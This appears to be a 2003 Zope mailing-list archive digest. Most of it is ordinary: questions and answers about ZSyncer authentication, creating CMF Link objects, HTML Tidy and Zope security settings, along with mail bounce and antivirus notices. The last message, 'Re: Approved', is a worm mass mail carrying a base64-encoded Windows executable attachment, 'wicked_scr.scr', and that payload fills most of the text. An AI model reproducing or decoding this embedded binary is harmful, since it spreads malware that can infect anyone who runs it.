need to use as a tool ASAP. I have > encountered some difficulties which I hope you can assist me in > resolving. maybe... > My new product re-uses some of ZSyncer, particularly the basic > authentication code and some of the transport code. It seems to work fine > between sites which us basic authentication only but gets confused when > the sites use cookie authentication. ZSyncer authenticates and > transfers over links that my "son of ZSyncer" product fails on. > The transport mechanism reports a 500 status to the sender; the receiver > reports a 401 error (I think) and does so as "Anonymous" rather than > the user under whose guise the transfer is being performed. hmm, afaik zsyncer doesn't make any effort handle cookies, in fact the xmlrpc code specifically only uses basic auth. Did you write some cookie code? > If you have the time and interest, I'd be happy to share the code > even in it's currently hacked-up state. sure... no guarantee i'll be able to fix anything but i can look. Currently i've got a nasty problem with zsyncer itself... seems to be failing when syncing from a site that uses FileStorage to a site that uses DirectoryStorage, and i have no idea why but i need it to work ASAP so i'm rather busy :-( -- Paul Winkler http://www.slinkp.com Look! Up in the sky! It's DESTRUCTO-! (random hero from isometric.spaceninja.com) From fjord at fjordimages.com Fri Aug 22 12:49:26 2003 From: fjord at fjordimages.com (fjord@fjordimages.com) Date: Fri Aug 22 17:44:21 2003 Subject: [Zope] Re: Re: Your application Message-ID: <1061474578.28166.blah> Thank you for visiting FjordImages. If you urgently need to contact me, pls try phone no.: +47 40 49 17 74 brgds Ola Moen FjordImages -------- Original Message -------- > Please see the attached file for details. From jccooper at jcameroncooper.com Tue Aug 19 21:20:52 2003 From: jccooper at jcameroncooper.com (J Cameron Cooper) Date: Fri Aug 22 17:44:54 2003 Subject: [Zope] adding Link objects to Plone folders programmatically In-Reply-To: References: Message-ID: <3F42CCF4.8080405@jcameroncooper.com> > Hi folks, I'm fairly new to Zope and Python so this is probably a > completely obvious one for most of you but I'd really appreciate any > help you can give me on how to do this. I'm trying to add CMF Link > instances to Plone folders using a script. The intention is to > provide crosslinking of articles at several places through out the > site to be determined at their creation time. > > Attempts to call the addLink method directly without importing the > Link Class produces complaints about attempting to use an undefined > global so I attempted to import the Link class using > > from Products.CMFDefault import Link > > but it produces an error of > > Error Type : ImportError > Error Value : import of "Link" from "Products.CMFDefault" is > unauthorized. You are not allowed to access Link in this context > > > Does the Link class need to be imported to create a Link instance in a > Python script? Is addLink even the appropriate method to be calling > to do this or am I barking up the wrong tree here? Am I just a lost > Java programmer falling on his face making the jump to the Python wagon? CMF provides a factory mechanism for creation of content types. On a PortalFolder (or descendants, like PloneFolder) you can use 'invokeFactory' instead of trying to do it all yourself. (Plus you can interact with the type machinery, which is good.) --jcc From jccooper at jcameroncooper.com Wed Aug 20 14:41:52 2003 From: jccooper at jcameroncooper.com (J Cameron Cooper) Date: Fri Aug 22 17:45:31 2003 Subject: [Zope] Cleaning HTML for use as ZPT In-Reply-To: <20030819152422.48416.qmail@web41804.mail.yahoo.com> References: <20030819152422.48416.qmail@web41804.mail.yahoo.com> Message-ID: <3F43C0F0.5020404@jcameroncooper.com> > > >Do you know of any simple way to clean up the original >HTML? I was thinking of HTML Tidy, or something > I thinl Tidy is the right way to go. Probably a local install is best, but it you really want, you could probably use http://cgi.w3.org/cgi-bin/tidy --jcc -- "My point and period will be throughly wrought, Or well or ill, as this day's battle's fought." From jccooper at jcameroncooper.com Tue Aug 19 21:14:10 2003 From: jccooper at jcameroncooper.com (J Cameron Cooper) Date: Fri Aug 22 17:46:08 2003 Subject: [Zope] get full pathname file from form In-Reply-To: <011201c36662$b8bb0bc0$9700000a@MICHAEL> References: <00fa01c36660$677cc6b0$9700000a@MICHAEL> <2147483647.1061311894@[192.168.0.100]> <011201c36662$b8bb0bc0$9700000a@MICHAEL> Message-ID: <3F42CB62.6050802@jcameroncooper.com> >This doesn't work for me. When I want to get the filesize of a large file >(10 MB or more) I takes a long time to get the result. >Therefore I want to use os.path.getsize. > > > >>>To check the size with os.path.getsize(file) I need the filename with >>> >>> >the > > >>>whole path. >>> >>>How can I get this from the form variables ? >>> >>> You can't, unless: 1) you stick it on a filesystem (as a temporary file) 2) or somehow convince Zope to give you a handle to a temporary file it writes on upload, if it does. This probably means mucking about in the core. --jcc From jean at upfrontsystems.co.za Fri Aug 22 13:52:41 2003 From: jean at upfrontsystems.co.za (Jean Jordaan) Date: Fri Aug 22 17:47:34 2003 Subject: [Zope] What's magic about 'args'? Message-ID: <3F45F5F9.7050204@upfrontsystems.co.za> Hi all Logging 'args' in one of the classes of a Zope Python Product shows the arguments of the method in which we're logging. Uh, cool, I guess .. Only, where is this set?? Is it a Zope thing? Or a basic Python thing that I missed? -- Jean Jordaan http://www.upfrontsystems.co.za From MAILER-DAEMON at tv2.no Thu Aug 21 13:51:46 2003 From: MAILER-DAEMON at tv2.no (Mail Delivery System) Date: Fri Aug 22 17:48:09 2003 Subject: [Zope] Delayed Mail (still being retried) Message-ID: <20030821105146.10D28277654@scan1.tv2.no> This is the Postfix program at host scan1.tv2.no. #################################################################### # THIS IS A WARNING ONLY. YOU DO NOT NEED TO RESEND YOUR MESSAGE. # #################################################################### Your message could not be delivered for 24.0 hours. It will be retried until it is 5.0 days old. For further assistance, please send mail to The Postfix program : transport is unavailable -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/rfc822-headers Size: 412 bytes Desc: Undelivered Message Headers Url : http://lists.zope.org/pipermail/zope/attachments/20030821/9ec686b7/attachment-0001.bin From Symantec_AntiVirus_for_SMTP_Gateways at microtek.com.tw Fri Aug 22 21:31:12 2003 From: Symantec_AntiVirus_for_SMTP_Gateways at microtek.com.tw (Symantec_AntiVirus_for_SMTP_Gateways@microtek.com.tw) Date: Fri Aug 22 17:54:00 2003 Subject: [Zope] Your mail infected Message-ID: <200308221231.UAA13012@iscan.microtek.com.tw> From MAILER-DAEMON at aol.com Fri Aug 22 09:53:35 2003 From: MAILER-DAEMON at aol.com (Mail Delivery Subsystem) Date: Fri Aug 22 17:58:04 2003 Subject: [Zope] Returned mail: User unknown Message-ID: <200308221253.IAA25383@rly-xn01.mx.aol.com> The original message was received at Fri, 22 Aug 2003 08:53:16 -0400 (EDT) from cpe250.clearpar.com [12.109.168.132] *** ATTENTION *** Your e-mail is being returned to you because there was a problem with its delivery. The address which was undeliverable is listed in the section labeled: "----- The following addresses had permanent fatal errors -----". The reason your mail is being returned to you is listed in the section labeled: "----- Transcript of Session Follows -----". The line beginning with "<<<" describes the specific reason your e-mail could not be delivered. The next line contains a second error message which is a general translation for other e-mail servers. Please direct further questions regarding this message to your e-mail administrator. --AOL Postmaster ----- The following addresses had permanent fatal errors ----- ----- Transcript of session follows ----- ... while talking to air-xn03.mail.aol.com.: >>> RCPT To: <<< 550 MAILBOX NOT FOUND 550 ... User unknown -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/rfc822-headers Size: 653 bytes Desc: not available Url : http://lists.zope.org/pipermail/zope/attachments/20030822/467b026a/attachment-0001.bin From MAILER-DAEMON at aol.com Fri Aug 22 09:55:38 2003 From: MAILER-DAEMON at aol.com (Mail Delivery Subsystem) Date: Fri Aug 22 17:58:51 2003 Subject: [Zope] Returned mail: Service unavailable Message-ID: <200308221255.IAH26404@rly-xn03.mx.aol.com> The original message was received at Fri, 22 Aug 2003 08:55:11 -0400 (EDT) from cpe250.clearpar.com [12.109.168.132] *** ATTENTION *** Your e-mail is being returned to you because there was a problem with its delivery. The address which was undeliverable is listed in the section labeled: "----- The following addresses had permanent fatal errors -----". The reason your mail is being returned to you is listed in the section labeled: "----- Transcript of Session Follows -----". The line beginning with "<<<" describes the specific reason your e-mail could not be delivered. The next line contains a second error message which is a general translation for other e-mail servers. Please direct further questions regarding this message to your e-mail administrator. --AOL Postmaster ----- The following addresses had permanent fatal errors ----- ----- Transcript of session follows ----- ... while talking to air-xn04.mail.aol.com.: >>> DATA <<< 554 TRANSACTION FAILED - Unrepairable Virus Detected. Your mail has not been sent. 554 ... Service unavailable -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/rfc822-headers Size: 647 bytes Desc: not available Url : http://lists.zope.org/pipermail/zope/attachments/20030822/f0df82ae/attachment-0001.bin From pparkkin at cc.jyu.fi Wed Aug 20 08:47:04 2003 From: pparkkin at cc.jyu.fi (Paavo Parkkinen) Date: Fri Aug 22 18:02:24 2003 Subject: [Zope] External management of roles and permissions In-Reply-To: References: Message-ID: <20030820044704.GA895@sukka.auvila.jyu.fi> On Tue, 19.08.2003 at 13:33 -0700, Dennis Allison wrote: > How do I programmatically set the Security settings programmatically? Check out lib/python/AccessControl/Role.py -- paavo. Proletarier aller L?nder, macht Schlu?! From bogus@does.not.exist.com Wed Aug 20 13:47:27 2003 From: bogus@does.not.exist.com () Date: Fri Aug 22 18:05:03 2003 Subject: [Zope] Re: Approved In-Reply-To: <200308201047.h7KAlOv17427@quark.is.kpn.be> References: <200308201047.h7KAlOv17427@quark.is.kpn.be> Message-ID: <200308201047.h7KAlRf17574@quark.is.kpn.be> >This is a multipart message in MIME format >--_NextPart_000_01048319 >Content-Type: text/plain; > charset="iso-8859-1" >Content-Transfer-Encoding: 7bit >Please see the attached file for details. >--_NextPart_000_01048319 >Content-Type: application/octet-stream; > name="wicked_scr.scr" >Content-Transfer-Encoding: base64 >Content-Disposition: attachment; > filename="wicked_scr.scr" >TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >AAAA4AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v >ZGUuDQ0KJAAAAAAAAADToEjPl8EmnJfBJpyXwSacFN0onI3BJpx/3iyc7cEmnMHeNZyawSacl8Em >nJTBJpyXwSecBsEmnPXeNZyawSacf94tnI3BJpxSaWNol8EmnAAAAAAAAAAAAAAAAAAAAABQRQAA >TAEEAF2zPz8AAAAAAAAAAOAADwELAQYAAAAAAABwAAAAAAAA1usBAAAQAAAAYAEAAABAAAAQAAAA >AgAABAAAAAAAAAAEAAAAAAAAAAAAAgAAEAAAF/EBAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAA >AAAAAAAAAAAAAOLrAQCcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAfuwBAAgAAAAAAAAAAAAA >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >AAAAAAAAAAAAAAAAAAAgAC5zaHJpbmsAAFABAAAQAAAAxAAAABAAAAAAAAAAAAAAAAAAAEAAAMAu >c2hyaW5rAAAwAAAAYAEAABIAAADUAAAAAAAAAAAAAAAAAABAAADALnNocmluawAAQAAAAJABAAAS >AAAA5gAAAAAAAAAAAAAAAAAAQAAAwC5zaHJpbmsAADAAAADQAQAAIgAAAPgAAAAAAAAAAAAAAAAA >AEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >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 